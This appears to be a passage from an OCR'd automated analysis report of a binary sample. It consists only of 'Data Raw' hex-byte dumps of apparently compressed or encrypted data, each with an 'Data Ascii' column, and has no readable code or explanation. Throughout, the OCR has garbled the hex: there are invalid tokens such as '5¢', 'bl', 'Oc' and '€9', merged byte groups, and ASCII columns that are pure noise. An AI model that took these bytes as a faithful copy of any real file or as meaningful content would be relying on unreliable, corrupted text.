le 6e 66 a6 bl 5e a3 07 7f 38 15 69 27 0a 6b 83 0f c9 ae 8e 54 94 cc 20 b2 d8 22 3c 4f 50 f8 59 d6 a6 f3 bf 5¢ bc ¢5 84
16 36 a3 c2 ac f3 0c 8¢ 9a 4d d1 18 6f 95 c3 ec 67 6d 33 93 04 65 e2 7f bf 4b 7c aa 6b 11 33 14 4f 28 7b 7d 1e 09 5 35 df
cade ce 33 a9 d5 b9 5d 3e 41 c4 ee le 40 73 bf

Data Ascii: @W"&J<5(DuNP8+=;+\S1d$xdSTa"gctOsHOuHv, U[#,+a,->Eh"y8XQerG, K(W6Fnf 8i'kT "<OPY\6Mogm3eK
k30({}53]>A@s
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Data

Data Raw: d6 fe e9 8f dO cb 81 63 da 12 9a f9 90 65 6b 26 bl fc 7b 73 47 b2 bf 10 d3 2d d4 {7 a0 22 al 91 9a 36 6a 02 8c
04 50 bb b1 4f 12 66 86 fb ca c6 11 f4 03 ad fe 2d 7c 2f 4a 96 ae 3c 98 8c 78 al 73 1f 77 e2 8 f5 44 4e b2 Oc d8 6b aa 9d
bf 30 6a 06 Ob 3e 55 b5 d6 1b ab dc 32 43 94 1b 71 ec 3f cf ce Of fe 2f ea 4a af f0 2c c1 67 e8 2a f1 ba d9 9b 13 a9 5a fc
f964 37 d2 76 d2 92 a1 f5 9d e6 76 02 a9 55 a7 c2 fO cO 4f 66 08 13 59 3f b4 3c 6d 63 ce c8 40 8a 30 28 85 64 90 33 21
69 dd 85 7d 7e 09 8a 86 6¢ 22 53 2b 9d 8d 77 be 94 a2 4a aa 8c €9 62 bf 27 04 04 ea 9a 62 €9 14 3 55 d9 88 el 86 2e f3
63 bl c4 2e 1a e9 d7 53 20 53 5e ee fa Oc 6f 94 9c dd 5e 6d a8 16 87 59 4f 8e bl e2 e5 3d e3 0d 87 a2 a3 e9 8¢ 75 7c b5
83 a9 7c db 10 Oe a3 64 23 3d d7 76 6a 6a f0 81

Data Ascii: cek&{sG-"6jPOf-|/J<xswDNkO0j>U2Cq?/J,g*Zd7vwUOfY?<mc@0(d3!i}~I"S+wJIb'bU.c.S S"o”mYO=ul||d#=vjj

Data Raw: e4 db 7b 20 d4 ac 87 df 26 7b 22 d2 f5 df 0a 09 96 93 77 fb 22 7a f3 12 31 5¢ 72 ef 52 07 0f 99 e6 22 9d 03 da
93 ec 56 86 6d 51 5¢c 14 d7 fe f0 a9 7a 4c el 62 dc 3c 3c 5¢ f1 64 6b b8 b4 15 6a 55 67 f3 9a 3d c1 2b 7c 3e a0 22 bf 99
1c 3c 6a 04 b9 a2 06 23 b1 4f 10 6¢ d8 85 ab c7 8b d5 Oe 79 d8 0d a0 b5 6f bb 9f 8a b5 49 78 bd 5b c6 d5 €9 ee df da 18
2a 0c d8 69 a0 c2 c1 51 6b 9c 2a 33 81 93 f6 c6 31 f9 1f 72 24 36 b7 ec 20 c6 c6 53 f4 2f ec 79 01 77 4c c0 61 c6 8¢ 51 db
d8 9b 8d ac b0 ee df 44 73 f7 5b c0 94 1e 3f 9d e6 69 7b 29 a7 a6 c2 €9 f2 el el 68 12 5f 11 12 9d Oc 62 ce 56 45 6f 22
Oe a5 21 b5 1e 33 6f 05 40 7d 7e 16 94 6e 9e 23 53 32 ba 23 fO de 95 a4 64 08 12 88 63 bf b9 01 €0 f8 bc 42 93 31 de 44
df 9e 26 86 2e ec 69 54 36 2f 1a f6 d5 28 5f 32 59
Data Ascii: { &{"w"z1\rR"VmQ\zLb<<\dkjUg=+|>"<j#Olyolx[*IQk*31r$6 S/ywLaQDs[?i{)h_bVE0"!130@}~n#S2#dcB1D&.iT6/(
2Y

Data Raw: 61 1c b0 4b 5c 36 6e 39 ca Ob 67 d7 50 ff 66 42 72 4b ba eb df cb 13 0d 4f 9c 70 b5 42 c9 fd 39 60 d7 9f cc 27
48 c4 43 e7 0c 52 06 00 87 99 bf 5¢c eb 07 82 8¢ 28 ca 61 14 95 66 95 87 Oc 3e d9 90 b6 ed 8 78 90 2f ff f7 c9 b6 01 9e
8c 17 d2 3554 cb ¢9 80 5d a2 1c 1c 5b 4¢c 93 c1 fc al ¢3 57 60 40 d3 a8 1e 45 f4 a4 e2 fd 8d ed 31 28 15 00 ed cf 78 f7
b9 9c 1d 7b c3 el ee 20 14 1a e7 bb 91 50 24 3b 08 ae de 08 94 e0 e5 b3 25 42 2a 58 73 0a c0 e8 7a 20 b2 3f f4 41 81
2a55 23 bc al 16 be 64 bb fb a5 61 7b ee 59 bc 9e ae cf b2 95 57 5e el 3d 06 05 5e 59 09 21 3c 3f c4 49 8b b6 4e 5¢c 07
a4 c9 5b 14 a4 8b ff 4b be 79 4c 78 35 c1 ac 6a 48 ad 24 6e 63 c0 34 7a bd 04 f6 4c 70 54 f7 da 03 c7 6f 4a 20 c3 7f 10
1d 4b 5e ea 85 89 a7 5b 7e 36 1d €9 62 aa 93 9b b6 93 13

Data Ascii: aK\6n9gPfBrKOpB9 'HCR\(af>X/5T][LW @EL(x{ P$;%B*Xsz ?A*U#da{YW"="YI<?IN\[KyLx5jH$nc4zLpToJ
KA[~6b

Data Raw: 30 a7 e4 6b a3 a0 e4 a4 e6 €3 0d 98 96 5b 1b 8d 75 63 b7 fc d6 1d dc 3a 8c fd 2d 23 3d d3 cc 84 47 e2 a7 dd
86 aa a6 40 9a 08 04 df 71 96 11 c6 ce be bd 20 dc 52 67 79 8d Oe 60 bd cf ee 17 55 0f 28 63 41 c2 30 30 2b a8 e9 05 9a
955c 03 81 17 16 46 cd bf c3 37 f1 c7 e7 7a 3b ae 79 bd 31 b0 14 48 32 36 45 6¢ 33 f3 fc cf c8 49 3b 7e 60 dd 29 6f 9f ea
63 eb 36 d7 a5 9c 8d 3c d4 ad 38 ae 53 2d 95 15 58 86 c1 91 80 84 70 06 23 8¢ 8b 5a 23 37 00 €9 d5 c3 fb bl 31 ee 87
2f 9c 4c 26 59 14 8b c0 ab 67 ec d8 62 5f 84 b0 d4 7b 5f c3 cb 75 bf 76 91 f3 83 d5 20 d1 Ob 98 e4 b2 3e 51 36 db 66 Of
70 67 66 3c 89 5b 4b 20 5f 13 3e ef 59 4b ad 92 Ob 9 10 a6 ad 95 56 03 b5 4c 7a 7d ec 50 fc 79 d8 d1 fa bf c6 86 e5 be
€9 17 8d c5 86 71 52 20 8a 4d d5 27 d4 bd 3a ed fd 4e 34

Data Ascii: Ok[uc:-#=G@q Rgy U(cA00+\F7z;y1H26EI3I;~")oc6<8S-Xp#Z#71/L&Ygb_{ uv >Q6fpgf<[K _>YKVLz}PygR
M':N4

Data Raw: da 06 35 Ob 2b f4 45 29 Oe 06 cb 36 b4 23 7e d3 e8 86 4f 72 75 68 3b 36 46 c7 f8 9b 29 58 cd 0d 5a 86 69 6f
3b ec d6 fe 6¢c a6 d5 23 a6 43 9339 1c 87 d1 ac 78 22 91 24 53 8a 46 28 9c 17 47 75 95 32 a0 26 81 el e4 3d 6a 98 b6
0d 6a 64 90 1f 15 4c 04 a5 65 d4 11 f0 3c 78 d6 d4 7d b5 69 91 3d 64 d9 48 78 a5 53 6e d5 €9 e8 6f 79 4b 5a 2b 8 3c 81
1f c1 71 b5 15 Of 1e 8d 9d 2f 1a 31 ff 35 d4 cc 5a b6 ec 3b ef bc ab f5 2f 70 76 aa 1b Ob el 33 c3 ac 8f fb 3e 88 17 89 82
dd d1 9d ac 7 5d ea 32 ff 53 9c e6 72 02 52 5f a7 c2 75 fd 4a 8d 2f 33 Oc 14 32 42 2c 65 da cc 60 5d 39 00 7c ff b5 18 19
€983 2c 7c 7e 0d 8a 12 66 22 53 ae b5 88 9c 99 b4 f0 61 28 f2 a8 73 ab 23 24 d2 f9 b2 9b 72 31 d8 6e 7d d6 49 87 2e {7
63 29 ce 2e 1a 6a da 87 30 75 78 91 79 72 Oe b5 bf cd

Data Ascii: 5+E)6#~0ruh;6F)XZio;#C9x"$SF(Gu2&=jjdLe<x}i=dHxSnoyKZ+<q/15Z;/pv3>]2SrR_uJ/32B,e"19|,|~f"Sa(s#$rl
n}l.c).jouxyr

Data Raw: 1f 1b f3 66 d1 7c 57 9e 5d 12 4a be cf fe bf 12 0d d5 23 78 89 76 cf dc 4d 61 d7 bf 83 84 5d ¢4 5d dO e4 7b ff
07 ad 1d eb bf 94 66 87 ac 2e eb 17 15 0f 43 22 b3 07 Of fd b1 cO ec d8 Of bf 92 ea e9 e1 51 28 67 8b 3d 56 61 b3 b4 a8
85 7d a5 3d 6b 5a d6 b6 76 c8 aa f1 72 41 37 d2 88 61 6a 31 bl fb d5 6b €5 19 d7 3e 82 95 84 fb 89 dc bd 19 7e 3 99 75
0539 91 e4 b6 84 77 04 43 29 2c d1 28 5a ec cd 4a 3f 6a d5 73 f1 72 8b 6f 04 45 93 3a f1 61 f8 b1 70 Oe 37 a2 1b a9 43
9b 82 84 e4 74 ce 8a b3 b6 57 d1 a8 bb 84 dd 9f 5a 2d 87 24 18 Oe 20 38 1f 24 6d a6 a7 f2 59 2c b4 ef 7b 4e 2c 84 ff 6b
4b 44 b5 79 2 ef 7f €9 36 ca Of €8 19 81 32 7b b9 24 17 68 5d 45 4b df 29 d4 49 6a 7b 49 70 10 3d a7 63 13 84 96 ad 59
01 49 7c ee 48 2c cd 2 b6 93 17 7b 9f 6d c4 b6 ed 05

Data Ascii: flW]J#xvMa]l{f.C"Q(g=Va}=kZvrA7aj1k>~u9wC),(ZJ?jsroE:ap7Ctwz-$ 8$mY {N,kKDy/62{$h]EK)lj{lp=cYI[H {m

Data Raw: e3 d7 78 Oc 87 82 53 19 94 75 65 82 70 80 85 dc 3a 8e f7 87 5¢ 5¢ d2 56 a5 4a 6¢ 80 fd ae 31 83 6d ab 5b 35
4370 89 0f ce 32 a6 bd 26 eb f8 e0 19 8¢ 08 4e 1b 98 8e 16 55 91 2d d3 51 e4 10 83 0f 85 fb 03 29 19 5d 03 9a 1f e3 5e
cd b9 f6 bb a7 5f e7 7a 39 a4 d5 c2 50 bl 8e 69 3f ba 62 4c 19 68 d9 e2 fa f7 0a e0 61 c2 26 67 70 f2 63 ed 03 48 3 04
8d 3c d6 a7 95 d1 32 2c 0f 34 55 Ob e6 bl ab 1f 55 2b 11 0d ba c5 22 28 Ob el 03 db fb b7 04 65 d1 b7 9c 4c 24 53 be f4
alaafd cd d5 dO 78 a4 9c 4f 5e 72 f1 5f 44 1f 77 8e e6 8b 10 38 d1 0d ad 71 e4 a6 51 36 d9 6¢ a4 0f 06 67 a6 a8 56 fb 07
7f3e a5 ca 74 79 4c a3 aa e8 Oc 8e 74 c7 4f 05 9f d5 17 34 14 51 8 5f dc 56 84 de 5d a3 cc 8c 4d 36 a3 ¢4 1c 54 5f ff bd
6d 77 39 cc 95 e3 8a e4 48 1e 9d 2f 6d b8 7e bf 4d

Data Ascii: xXSuep:\WJI1m[5Cp2&NU-Q)]*_z9Pi?bLha&gpcH<2,4UU+"(eL$SxO%r_Dw8qQ6IgV>tyLt04Q VIMET_mwoH/
m~M

Data Raw: 08 03 d6 ec 16 fa b8 5b fe d9 17 7c b0 74 77 2a 3e 8a dd f8 9d 1d f2 4a 6d 5b 80 47 c9 0a 8c d7 fe f2 a3 3b 33
80 63 46 1d 31 95 d7 44 a8 23 91 38 5b 4e 5¢ 28 9a 22 da 23 0d 32 a0 24 8b 37 9b 5¢ 6b 02 97 00 bc 43 b0 4f 8e 69 29
97 8d e7 d5 f1 23 68 de 75 67 b5 6f a4 9b 32 41 48 78 a7 59 b9 aa 88 €9 5 58 46 8e Oc d8 6d 1a 3a ec 43 4d 26 ca 1f 93
b5 f6 67 2a f9 1f 4d a8 13 4e ed 3f c9 c4 2c 8b 4e eb 53 83 29 eb c0 61 c2 36 aa f6 ca bd 37 4f 9c fc f9 44 3b ec 5b c0 ab
8b 1a 64 e7 76 24 2b d8 d9 a3 ee d8 63 bf ce 12 5f 15 a8 67 21 70 e8 ec a7 43 30 28 a5 5e ae 1le 33 50 f6 65 84 7f 09 ac
6c e55¢ 323590 al ae 77 95 a4 60 b2 d7 a5 72 99 03 ec cc ea 9a 42 d8 2a de 44 e2 80 d1 87 2e 5 69 fe bl 4f 1b fO fb
8ae85258c4e2572384bafdb7a6a816a7 7171

Data Ascii: [[tw*>Im[G;3cF1D#8[N\("#2$7\kCOi)#hugo2AHXYXFm:CM&g*MN?,NS)a670D;[dv$+c_g!pCOo(*3Pel\25w"
rB*D.IORXW#qq

Data Raw: 79 22 73 4f 9e 22 df ca 13 97 fO 94 4c 82 44 00 fd 38 60 f7 b5 be 28 48 da 75 36 f4 53 00 2c 2f 65 a0 3c ea 03
a6 46 2b cb 61 8e 2a 6e a9 b0 Oa f4 da 91 b6 cd ca 12 9f 2f e3 c1 18 4e 00 98 a0 bf 2e 2a 34 ca cd a4 96 a0 1d 1c c1 f3
9b fd cb a7 08 55 61 40 f3 90 7c 4a f4 b9 d3 2c 75 ec 37 04 bd fc f2 af 79 f3 9d 50 18 7a c¢3 7b 51 28 28 2d el 77 94 51 24
1b 37 31 d1 08 88 d1 34 4b 24 44 06 f0 8f 15 a0 €9 7e 04 7f 3b f5 41 1b 95 5d 1f 8b a7 db ba 65 bb db a0 f9 74 ee 44 8e
4f 56 ce b4 b9 ff a2 fe 5d 07 01 7a 97 Oe 20 3c a5 7b 41 b7 81 48 92 00 a5 c9 7b 18 30 84 ff 57 8e a8 b4 79 33 ed 04 96
57 cd 25 6a 47 0f 32 7b bd 9e 49 44 4c 63 f1 15 05 c6 6f 6a 32 55 70 10 00 7e 8f 12 84 8f 8b {7 86 29 7d e8 66 8e 43 92
b7 93 89 7e ce 7e e2 96 87 21 d4 8c b4 e7 3b 7b Oa

Data Ascii: y"sO"LD8'(Hu6S,/e<F+a*n/N.*4Ua@|J,u7yPz{Q((-wQ$714K$D~;AletDOV]z <{AH{OWyY3W%)jG2{IDLcoj2U
p~)HC~~I{
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Data

Data Raw: e2 88 55 75 9f 7a a8 e6 f8 17 9a fb 25 32 3f d3 56 81 b5 ee 81 fd b1 a0 8e b9 bb 7d 13 5 {7 f7 6e ef 37 bb 9d
37 f4 d0 19 82 a9 23 76 bb c6 fe 15 55 95 2d a4 4e e4 10 06 3a 80 10 24 09 82 76 85 e4 5e ee 47 c9 99 fb b3 8f a6 7c 5f
12 9c 75 9c 23 b2 8e 6d 3f de 7d 4c 19 ed df e7 11 dO 2a 78 4a 40 58 26 67 eb 67 cd 0f 53 db fd 16 19 fd 9c 35 8f 40 2f Of
305589 f8 bl ab 9c 58 ff 02 2b 9¢ 70 al 56 6a cO 2c c6 db a3 19 68 f9 d4 b8 61 33 5f 18 9e c2 ab fd e9 d5 6f 79 a4 81 fd
82 5e e3 7f 4e 39 08 ef e7 ab 28 01 c4 0f b2 66 56 7a 7d 24 f9 66 37 73 67 66 86 8b 69 5a 06 60 2b 17 16 58 6b 6¢ a9 8d
97 6d 8f 54 90 76 13 9d ca 04 86 c8 7d ea 7f d6 c6 8 bf 5¢c 83 f4 b3 ef 37 bc cd ae 88 73 ed 9d 67 53 46 ad 94 c3 e8 dd 5f
1c 82 22 df 64 52 ad 6d 7c 3e 60 11 33 2a 22

Data Ascii: Uuz%2?Vin77#vU-N:$v G|_u#m?}L*xJ@X&ggS5@/0UX+pVj,ha3_oy N9(fVz}$f7sgfiz’ +XkImTv\7sgSF_"
dRm|>"3*"

Data Raw: f8 ad a9 30 5c 76 55 40 28 1e bf 5¢ dd b0 11 fc 93 5b 59 86 6d 6f b7 cd d6 fe e9 8e d0 cb 81 63 da 12 9a f9 90
65 6b 26 b1 00 79 73 47 b2 bf 10 d3 2d d4 0b a2 22 a1 91 35 1d 6a 02 8c 2e 50 bb b1 4f 12 66 82 fb ca c6 11 f4 03 51 fc

2d 7c 2f 4296 ad 3c 98 70 7a al 73 1f Oa c9 e8 5 43 74 63 f4 d9 6d 86 35 47 2f 0a 07 Of 1a b3 8f d4 1b 31 63 3a 7f a0 1d
97 d6 3d cf ee 8a 05 Of ea 53 98 1a 05 38 60 c2 aa a5 5d a6 fa 16 89 99 dc c2 66 ad f7 c1 e5 99 93 14 bd dd 74 22 01 7e
a4 e3 ef d8 78 89 21 ea 5e 15 34 68 8a 1c af cd 60 46 10 14 87 fe b5 84 16 62 ef 6b 5d 42 Ob aa 46 47 3b 72 34 90 ba 99
97 6d a5 60 2e d8 Oe 1d de 22 24 c9 ca a7 60 73 31 44 61 d2 ba Oe a6 13 f1 43 7c ef 1e 3b fO ff b5 28 7b al c5 78 74 24

13 e2 b8 7f a7 ac 36 b9 c1 6a a3 3a el e8 e5 c5 2d

Data Ascii: 0\WU@(\[Ymocek&ysG-"5].POfQ-|/J<pzsCtcm5G/1c:=S8’]ft"~x!"4h Fbk]|BFG;r4m"."$ s1DaCl; ({xt$6j:-

Data Raw: ca 13 10 fd 40 5¢ a4 62 c3 7a 46 01 d6 bf a7 08 16 c6 5d cf 6f 76 2b 14 8b 3b 9f 3f ea 07 a6 81 Oe cb 61 0b 23
6b 41 97 2a 18 f1 13 c8 8c d9 0f 9b Of a0 eb el 4f 9a bb a7 2c 76 6b 6a c8 c9 84 5d f8 39 1c 5b c1 9e 15 ec 87 e5 7e e7
3e b2 8961 4e d4 c4f9d5 74 76 14 03 2d a4 b3 ce 7b f7 bd 9c 43 5e c3 el 6b 23 11 f2 c0 9b 93 7b a2 45 49 2d d1 Oc b4
98 cf 4a 24 d8 09 5f e3 52 81 88 78 24 92 1a 75 65 81 b0 6f 02 85 7e 37 bb 63 91 7d fb 85 75 ee 5d 86 d4 55 ce b2 09 58
1 8d 7a 27 67 58 79 0f 00 b0 1b 5e 6¢ b9 ab 40 85 00 a5 cf 71 b2 53 e5 fe 4b a2 71 d6 7b 35 c¢7 1c cd 1b de 03 4e 04 e2
33 7b 9d 9c 48 69 5d 5a c1 d2 fd c¢7 6f 4c 2a ce Oe 71 1c 56 72 33 e0 8b al 71 62 6d 51 fa 44 8e d7 91 b7 93 33 f3 c7 6¢
c4 a9 46 08 2d 8d 94 d8 Oc fd 74 4a 5 df 08 03 71 ef

Data Ascii: @\bzF]ov+;?a#kA*O,vkj]9[~>aNtv-{C k#{EI-J$_Rx$ueo~7clu]UXz'gXy @qSKag{5N3{Hi]ZoL*qVr3gbmQD3IF-
tJg

Data Raw: 5¢ 59 38 88 dd 25 e8 1b d3 56 be 72 d8 78 fc ae ad 8c c6 c4 1c 14 df 75 a9 8a ec 37 bf 27 03 db c2 3f 38 09
Oc 64 9d ¢6 0d 31 55 95 12 5e 78 1d 11 19 2c 82 6f 5b 68 85 5¢ 07 ba b9 ed 47 cd 23 cc 9¢ 9d 80 c6 fc 3d 8e 53 9c c3 96
8e 6d 00 3c 4b b5 18 f2 fa e5 6e af 4b 7f 60 c6 06 c0 64 eb 63 77 39 7c c9 db ac bb d2 8d 13 8f 59 0a 0f 30 6a 9b cf 48 aa
85 76 2¢ 81 55 fb 5b 23 2¢ 2b 49 2e c2 fb 2d 3e 45 e8 68 bd ¢4 20 79 38 aa d9 8c fd c9 eb 58 80 a5 9c d3 51 d9 9d 18 65
bf 72 ae 6f a9 2c 21 4b 28 9f 74 ea 7f d9 34 df 46 02 50 40 66 a6 b3 6e 72 ff 7e 3e 39 c5 db 15 Ob 82 Ob ed 2c 04 56 94
56 9f ba e7 15 3a cd da fa 59 f6 f0 ¢3 98 5¢c a3 d2 84 16 36 a3 c2 ac f3 Oc 8¢ 9a 4d d1 18 47 97 c3 ec 67 6d 33 93 04 65
ca 7d bf 4b 7c 14 45 11 33 14 4f 28 7b 7d 1e 09 f5 35

Data Ascii: \Y8%Vrxu7'?28d1U"x,0[h\G#=Sm<KnK dcw9|YOjHv, U[#,+|.->Eh y8XQero, K(t4FP@fnr~>9,VV:Y\6MGgm
3e}K|E30({}5

Data Raw: 57 81 1c bf c6 62 b8 2e c8 95 4c f0 84 6d 4f 54 e5 ff fe f6 9¢c dO 1a 79 62 dc 3e 36 05 8f 05 6a 22 95 18 d7 71

472800 18 ec 1ad2 13 Oc 20 al b1 c5 0d 43 02 93 37 50 bb b1 4f 12 66 86 fb ca c6 11 f4 03 c5 fc 2d 7c 2f 4a 96 ae 3c

98 e4 7aal 73 1f e5 c0 e8 f5 4b 4e b2 Oc d8 6b aa 99 bf 30 6a 06 Ob 3e 3d b7 d6 1b ab dc 32 40 94 1b 19 ee 3f cf ce 98
dc 2f ea 4c 88 21 d4 c0 61 c4 86 09 a5 b9 9a 17 8d bd 53 fb 64 ad 6d 7e ed a6 a7 12 32 e4 76 22 21 1f 8e c2 ef c7 69 b7
f0 12 5f 13 18 ¢4 72 03 cf cc 64 62 80 2a 85 fe 2f 3b 1e 5d db 6d cd 7c 09 aa 66 28 Ob 53 34 8f b9 a6 46 95 a4 66 02 74

6 02 be 23 20 ed 5b 98 62 73 ab fb 69 ed 8e 08 37 2c f3 43 5¢c a4 07 1a f0 e0 b7 09 aa 59 c4 7e 58 88 eb fd d8 7e a3 88
a4 85 c3 6a 39 85 e9 d7 d1 c3 bf 85 82 73 c2 04 5c 65

Data Ascii: Wh.LmOTyb>6j"qG( C7POf-|/J<zsKNkOj>=2@ ?/L'aSdm~2v"li_rdb*/;Jm|f(S4Fft# [bsi7,C\Y~X~j9s\e

Data Raw: 8f 8b f7 86 29 7d e8 66 8e 72 91 b7 93 89 7e ce 7e e2 96 b6 22 d4 8¢ b4 a4 Oc 7b 0a 34 19 f7 f5 22 14 eb 3c 7c
5¢ 1f d2 ¢8 35 7c b0 77 77 2a 84 9a eb ea bb 23 18 b1 6¢ 5b a6 ea 65 74 ed c9 f0 de 7a f9 32 86 49 5a 46 7d 86 1 60 4b
19338 7b €9 62 05 88 1b el c8 f6 33 a0 02 34 9b 5 3d 75 Of bb d9 79 42 b6 65 92 32 65 84 ab c3 31 34 21 68 fe b7 59
98 7d 9d 9f de ba 49 78 81 d1 15 d4 €9 f7 fe 74 9f 4a 0d de 47 06 61 a0 50 6b 02 2f db 91 b5 d6 81 14 d4 0d 74 92 fe b5
ec 3f ef 43 80 f5 2f 5 43 af 0 2¢ c1 67 €8 2e f1 ba d9 9b 13 a9 5b fe f9 64 37 d2 76 d1 92 al f4 9f e6 76 02 bc 74 a7 c2 f2
f0 9e 9e 09 15 75 97 4c 23 0d 62 ca ec a7 40 30 28 1f db 98 Of 15 6f 3a 4f 7d 7e 29 6e 6¢ 67 22 49 1c 69 a4 8e b9 be 22
1e 49 13 88 67 9f eb 26 cd ea 00 47 5e 23 18 64

Data Ascii: )}fr~~"{4"<|\5|ww*#{[etz2IZF} K8{b34=uyBe2e141hY}IxtdGaPk/t?C/C,g.[d7wiul#b@0(0:0}-)nlg"li"lg&G#d

Data Raw: 70 72 e9 bb a5 d7 38 cc 0f e6 c1 ec 6e 3e 6a 20 45 41 5f bd 67 5¢ 29 7c¢ 39 ca Ob 67 d7 50 fb 66 42 72 4b ba
eb 37 ¢8 13 0d 4f 9¢ 70 b6 42 c9 15 3a 60 d7 9f a9 04 48 c4 42 c4 dd aa 07 06 ab 31 43 43 8b 06 86 a8 0a 21 63 14 0f d9
9d bb 3b 38 fb 7b b4 ed d8 2f 8a 03 ff e9 ff 67 f9 9f 8a 3b 7a cd 4b ab c8 84 79 81 f6 1e 5b d6 2c 9 c0 95 c5 74 8a 42 d3
88 41 57 d8 a4 fb ca 5e c4 c8 2f 3f 84 b9 28 07 96 bc be 1d 5a 2f €3 74 05 a3 2e ec 89 b3 71 ¢8 39 28 2c f1 4f b8 f9 cd 55
32 6ad5 73 f1 72 8b 6b 04 45 93 3a f1 61 6¢ b2 70 Oe 37 a2 1b aa 43 9b 16 87 e4 74 ce 04 8a b6 57 d3 9a 6a 7c dc 99
76 85 7b 3b 78 0f 24 1c d1 5c 6¢ a6 3d 4d 51 10 83 e9 b5 36 2d 84 df 2f 8a 51 b5 67 1d 3e 87 e8 30 e6 a7 10 06 el 33 7f
9d eb 6e 69 5d df f4 d7 15 e0 4f a5 02 48 70 30 71 7a
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Data Raw: d6 22 63 2e a5 c7 cd 1c a2 fc 81 09 1d 1e 86 46 58 db 0a 5a bb 78 7b 3a 70 43 Oc ec 66 7a de 03 60 99 8b 69
€0 Oe da 77 91 72 25 ad 8b 83 70 bf 65 93 0f 6a 56 15 58 23 c5 26 aa c7 56 f2 0a 99 2d b4 31 37 ae 60 08 c1 c0 44 c7 f8
03 2c 24 c7 98 1e bf f9 f7 43 a9 9c a2 2b 5d d7 €9 2e fe af 2d c1 12 e7 65 13 58 4b 37 11 53 ch 92 6f ac 4d d2 50 3d da fe
c6 94 58 14 af b4 93 b5 ¢6 3b 73 25 8d 69 15 7f f3 20 b8 49 1d c2 a0 dc 6¢ 82 cd 1d bd 41 2b 08 66 21 a8 da 9b 9c ad 1b
6b 7c 5b a2 66 0d 48 63 ab 5d e6 dc c9 6d 18 92 72 e3 31 5d 06 5b al f5 9¢ d8 93 fc 79 26 fc d1 87 30 51 el 6b 77 e2 2d
c5 e5 be 39 2d 96 4f ab 75 df 59 03 25 c1 5c 3a 77 2f Oe ce d4 0f 76 28 05 45 5f 92 3f 58 4d b6 3d 97 6a fa 6a a2 66 2e fd
ab 30 20 d3 75 8e 6d cd e9 3f 66 c9 28 45 33 73 f8
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XM=jif.0 um?f(E3s

Data Raw: af 63 68 30 7d 51 dd 96 24 a5 Ob 77 a5 f4 16 44 4e 02 fa 82 al 87 58 40 95 be 8f 4e b1 5¢c 97 99 32 2d d2 87
ad a9 ba e5 aa 36 49 7a 15 90 4c 69 c5 e7 2f f0 c2 ed 74 41 63 72 1b 6f a9 04 f9 7a 9a b7 37 5d c¢7 c8 8d 21 9f dc d1 e9
9d 31 95 7e ab 57 91 4e 80 00 11 7b 8b d4 b4 31 9f ef f8 ea 1d 68 0a 69 c5 ea 9a 46 a7 66 01 b9 79 30 e3 3d el b2 12
b4 35 2b ec 38 41 8b a2 b7 ae 04 32 6e 33 fe 54 ae 38 9a 35 07 61 60 68 €6 92 9c 4a Ob d3 37 65 9c 1f 8b a6 44 b2 c8 8f
d8 18 86 70 d9 59 65 da 79 97 f9 da 97 8b d2 56 a8 9f fb f7 71 f9 bd 12 8f fb cd 7e df a4 26 15 1e 5b b6 d1 ca eb 00 ef 7f
72 23 6a 40 78 35 5a f1 a6 69 4a 47 17 b9 87 a3 09 55 7f c2 24 5e 5c 26 84 6b 4b d7 b5 d1 66 6f 45 4c 71 4e 9c e5 3e 71
b7 68 ba fc 04 6¢ 1f b4 be b3 46 d3 3f 6¢ f8 42 ed 32 86
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Data

Data Raw: 72 31 60 1e 58 f1 b2 Ob fb 9a 85 f0 65 9f 81 a9 b0 c1 b3 db b8 07 a6 d0 8a b5 c7 d2 2c 43 50 02 a9 93 57 3b
cb 3e 2 46 44 bf cf 4e 19 01 d6 b8 58 df 6f 40 f1 80 ac 16 b2 7d b7 51 aa 33 10 94 56 c4 a8 bb f1 1e 7b 37 50 96 8d ae fO
c3 0f d9 3d ba fb ea 5¢ 1d dd 81 2b 09 4b 6f 96 d8 8b 2b a4 1f 4b 08 d4 e6 ec d2 ee dd 25 5d 1b b0 f7 22 1c a0 ed b8 9c
24 a0 68 74 73 de ad 93 40 9e c0 dd 79 Oa a6 85 45 32 00 29 ee bc ba 72 68 18 0f 18 ff 30 bf ac 9c 1f 2a 56 26 58 fbh 6a
af e0 41 39 84 24 c5 5f 99 a0 74 24 88 ab 24 a0 46 84 e5 b2 cb 47 86 7b 9a 96 4c e7 8d bf 4e e6 ad 75 26 03 79 4d Oa 1f
0d 06 98 82 76 6b a5 a6 d9 6d 39 9d fO e5 50 3d 8¢ 77 b8 7a a0 e2 1d 58 26 ef 31 e3 aa a6 23 fO 8c 7a eb 86 95 b1 85 31
21 e0 2a 88 a5 f6 9d 83 f5 ea b8 be ff 7c 79 5a 8¢ 17
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Data Raw: 4c e5 f9 ac 59 56 14 cf 3c 2a 88 1c 51 ¢2 15 02 7d 62 53 48 9e 1e 3c d4 53 6¢ fO c2 2e df 34 c7 68 86 34 7b 83
9f 8e 65 €0 09 e7 7f 37 47 1f e4 f5 2a el 3c 4d 80 39 d9 70 9b 65 fc €8 22 97 8b 56 41 e6 62 Oc cO a9 b8 04 2c d6 54 17
27 b9 68 7d 4f c8 92 47 59 dc 2d 65 e8 1e ad 21 bd dd a7 c5 e5 dc 90 45 61 el 2e d8 52 c4 ea 2e 64 43 6a 4f 2d ce el c5
f6 9¢ Oc 7c 74 c2 02 52 63 f8 7c b6 26 5a ca f5 83 24 d0 be 11 bf 53 3f 28 2a 59 ab d8 99 97 af 60 09 33 09 ac 7e 48 2d
3d eb 01 ea c6 9c 19 62 d6 76 bd 3f 36 49 1a bc dd 8c 3e 06 34 ac ba 2b 72 0a b6 8b 30 bd b0 44 9b 59 35 74 fd ed 02 ee
5b a8 1b 9e c0 c3 08 85 {7 87 82 82 42 6b 97 a3 e5 bf dd cc 03 bd be 99 72 ea 1a f8 4a 8e 62 bb f6 6f 3d c7 e0 09 b5 33
98 10 5f 63 77 f1 2c 53 21 35 86 34 45 15 a0 c6 7d 1f
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Data Raw: e1 01 97 20 59 9d cf 31 7e 6e 5b bc c1 b0 97 53 60 a8 ae 8e 55 a5 46 66 75 bf 80 6b 12 02 14 3a 6e 57 f0 cO
9b d8 52 81 ¢7 24 07 ca 33 53 Ob ad 8a b9 b4 dO bd 5f d4 07 b3 55 6d a9 bc 1a 09 57 el 5d 08 3¢ 32 45 fb 4e af 7e bl

78 cc 5b ce 83 b2 4c 0f 75 ¢7 5¢ 1f 47 b6 4e 08 4f 28 86 a9 c9 52 de 2d 78 f6 Ob 6b ae 62 a6 f5 52 f7 76 6d al 6f 22 cO c3
